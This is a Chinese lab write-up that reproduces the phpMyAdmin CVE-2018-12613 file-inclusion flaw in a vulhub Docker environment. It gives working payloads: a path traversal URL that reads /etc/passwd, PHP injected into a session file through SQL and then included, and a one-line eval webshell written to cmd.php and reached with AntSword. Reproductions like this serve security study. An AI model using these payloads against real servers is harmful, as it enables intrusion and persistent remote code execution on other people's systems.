复现PHPMyAdmin(CVE-2018-12613)漏洞
并利用漏洞实现上传WebShell
漏洞描述:
在4.8.2之前的phpMyAdmin 4.8.x中发现了一个问题,攻击者可以在其中包含(查看并可能执行)服务器上的文件。该漏洞来自页面重定向和在phpMyAdmin中加载的部分代码,以及对列入白名单的页面的不正确测试。除“ $ cfg [‘AllowArbitraryServer’] = true”情况(攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码)外,攻击者还必须经过身份验证。 [‘ServerDefault’] = 0“的情况(绕过登录要求,并在没有任何身份验证的情况下运行易受攻击的代码)。
(1)在vulhub中找到PHPmyadmin漏洞环境
进入CVE-2018-12613,启动环境
执行命令:docker-compose up -d
(2)查看本机ip,并访问8080端口
(3)漏洞利用,先进入到容器中
执行命令:docker ps
查询容器ID
执行命令:docker exec -it 216b /bin/bash
进入容器
使用cat命令查看index.php,存在一个include文件包含函数
代码含义:
1.判断target是否存在
2.判断target是否是字符串
3.target不能以index字符串开头
4.targer不在$target_blacklist数组中
5.带入targer到Core类的checkPageValidity方法中
$target_blacklist数组有import.php和export.php
Core类的checkPageValidity,进入文件libraries/classes下查看Core.php,分析checkPageValidity方法用法
这段代码会截取target变量中的字符串从开始到?中的字符,然后带入$whitelist数组中匹配,如果匹配成功,返回true。
可以构造payload:http:127.0.0.1:8080/?target=sql.php?/../../../../../../../../../etc/passwd
可以包含passwd文件
(4)漏洞利用,利用session写入shell的方式进行getshell,因为在docker中,不能利用写木马到数据库,然后包含frm文件
执行sql语句SELECT "<?php phpinfo();?>
点击go按钮,执行
查看session,使用开发人员工具查找存的cookie值
在docker容器中,进入tmp,查看web服务器下的tmp文件,可以找到上面的session文件
使用cat打开文件,可以看到代码被插入在文件中
在web页面访问http://192.168.32.142:8080/?target=sql.php?/../../../../../../../../../tmp/sess_1a39e685485547630fd8036431cbd123
执行了PHP语句
(5)上传webshell
生成一个一句话木马文件select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"
在docker容器中,查看插入的代码
使用文件包含,访问:http://192.168.32.142:8080/?target=sql.php?/../../../../../../../../../tmp/sess_1a39e685485547630fd8036431cbd123
访问cmd.php文件,可以访问,说明一句话木马被成功上传
(6)使用蚁剑连接一句话木马文件